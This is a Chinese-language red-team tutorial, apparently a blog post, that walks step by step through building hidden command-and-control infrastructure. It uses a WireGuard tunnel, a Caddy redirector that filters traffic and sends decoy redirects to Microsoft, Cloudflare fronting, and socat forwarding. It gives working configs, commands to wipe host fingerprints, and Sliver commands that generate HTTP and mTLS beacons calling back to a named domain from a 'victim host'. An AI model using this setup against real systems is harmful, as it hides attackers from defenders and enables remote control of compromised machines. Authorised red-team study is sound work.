整体架构设计
前置跳板机/重定向器:运行 WireGuard 服务端和 Caddy 的 VPS。
后端 C2 服务器:运行 WireGuard 客户端和 Sliver C2 框架的 VPS。
为什么选择 WireGuard?
- UDP协议,DPI特征极低(OpenVPN / OpenSSH 容易被识别)
- 性能极高,延迟 < 5ms
- 原生支持密钥轮换 + PersistentKeepalive
- 支持 PostUp / PostDown 自动 iptables 伪装
单层 vs 多层对比
| 层数 |
隐蔽性 |
部署难度 |
溯源难度 |
推荐场景 |
| 单层(仅 Caddy) |
★★☆☆☆ |
★☆☆☆☆ |
★★☆☆☆ |
快速验证 / 低对抗 |
| 双层(WireGuard + Caddy) |
★★★★☆ |
★★☆☆☆ |
★★★★☆ |
主流红队行动 |
| 三层(+ Cloudflare Fronting) |
★★★★★ |
★★★☆☆ |
★★★★★ |
高对抗环境(APT 级) |
基础设施准备
必须清洗指纹(两端都执行),例如:
- 默认开启的服务和端口
- 主机名
- 云厂商镜像留下的初始化痕迹
- HTTP / TLS 响应特征
- 系统版本、软件横幅、日志残留
# 清理云初始化残留
rm -rf /var/lib/cloud/ /etc/cloud/ /root/.cloud-init*
# 关闭 IPv6(可选,更隐蔽)
sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1
基于 WireGuard 的加密隧道:隐秘链路构建
Redirector_VPS(服务端)配置:
sudo apt update && sudo apt install wireguard -y
cd /etc/wireguard/
wg genkey | tee privatekey | wg pubkey > publickey
sudo vim /etc/wireguard/wg0.conf
[Interface]
Address = 10.10.0.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = <服务器私钥内容>
[Peer]
PublicKey = <客户端公钥>
AllowedIPs = 10.10.0.2/32
C2_VPS(客户端)配置:
[Interface]
PrivateKey = <客户端私钥>
Address = 10.10.0.2/24
[Peer]
PublicKey = <服务器公钥>
Endpoint = <服务器公网IP>:51820
AllowedIPs = 10.10.0.1/32
PersistentKeepalive = 25
启动命令:
sudo wg-quick up wg0
如果需要重启,可以执行:
sudo wg-quick down wg0 && sudo wg-quick up wg0
Tips:
服务端不仅要放行安全组端口,本地防火墙也要放行。
ufw status verbose
# 如果没放行,执行:
ufw allow 51820/udp
ufw reload
应用层重定向:TLS 卸载与业务流量清洗
Caddy 安装
sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo chmod o+r /usr/share/keyrings/caddy-stable-archive-keyring.gpg
sudo chmod o+r /etc/apt/sources.list.d/caddy-stable.list
sudo apt update && sudo apt install caddy
反向代理 & 重定向流量 & 清洗流量规则
sudo vim /etc/caddy/Caddyfile
91vedio.core.edu.pl {
log {
output stdout
}
@c2 path /api/v1/red/*
handle @c2 {
reverse_proxy 10.10.0.2:8080 {
header_up Host {host}
header_up X-Real-IP {remote_host}
header_up X-Forwarded-For {remote_host}
}
}
handle {
redir https://support.microsoft.com/en-us
}
}
sudo systemctl reload caddy.service
sudo systemctl enable caddy.service
sudo systemctl restart caddy.service
通过查看日志来确认证书是否申请成功:
journalctl -u caddy --no-pager | tail -n 100 | grep -iE successfully
Tips:
你还可以配置蜜罐规则来诱导扫描器。
handle /admin /wp-login.php /phpmyadmin /login { respond "404 Not Found" 404 }
# 用 Cloudflare 让 Caddy 走 DNS 验证,减少暴露面
tls { dns cloudflare <你的_CF_API_TOKEN> } # 自动申请通配符证书
C2 配置(Sliver)
启动 HTTP 监听器:
[server] sliver > http -l 8080
HTTP Beacon
[server] sliver > generate beacon --http https://91vedio.core.edu.pl/api/v1/red --os linux --arch amd64 --name linux --save ./bin/linux
传输层重定向:协议透传与端到端 mTLS 校验
C2 配置(Sliver)
[server] sliver > mtls -l 8081
mTLS Beacon(端到端加密):
[server] sliver > generate beacon --mtls 91vedio.core.edu.pl --os linux --arch amd64 --name linux --save ./bin/linux
流量转发
sudo apt install socat
socat TCP4-LISTEN:443,fork TCP4:10.10.0.2:8801 &
改进:配置 CDN(以 Cloudflare 为例)
将域名的 DNS 服务器(NS记录)修改为 Cloudflare 提供的服务器。
然后在 Cloudflare 控制面板中,为域名添加一条 DNS 记录:类型: A,名称: www(或 @ 代表根域名)。
更改 Caddy 监听端口:由于 Cloudflare 默认回源到源站的 80 和 443 端口,我们可以修改端口以增加隐蔽性。例如,将 Caddy 改为监听 8443 端口。
设置防火墙白名单:在跳板机的防火墙(ufw)上,只允许来自 Cloudflare IP 地址范围的流量访问你的 Caddy 端口(8443),拒绝所有其他 IP。
# 例如,允许Cloudflare的HTTP/HTTPS回源IP
sudo ufw allow from 173.245.48.0/20 to any port 8443 proto tcp
sudo ufw allow from 103.21.244.0/22 to any port 8443 proto tcp
# ... 添加所有Cloudflare IPv4/IPv6段 ...
sudo ufw deny 8443/tcp # 最后,默认拒绝其他所有IP
在 Cloudflare 中配置回源端口:在“SSL/TLS” -> “源服务器”设置中,创建一个“源服务器证书”,并在“自定义主机名”或“回源”设置中,指定回源端口为 8443。
最终的流量链条为:
受害者主机
↓ (HTTPS -> 标准 443 端口,SNI: 91vedio.core.edu.pl)
Cloudflare 全球任意边缘节点 (IP: 104.16.xxx.xxx)
↓ (HTTPS -> 自定义 8443 端口,可进行严格的SNI和IP白名单校验)
跳板机 (IP: A.A.A.A,但仅对Cloudflare IP开放)
↓ (WireGuard隧道)
C2服务器 (IP: B.B.B.B,完全隐藏)
完整搭建下来,你的 C2 渗透测试 后端服务器就完全被隐藏在多层重定向器之后,大大提升了红队行动中的对抗能力。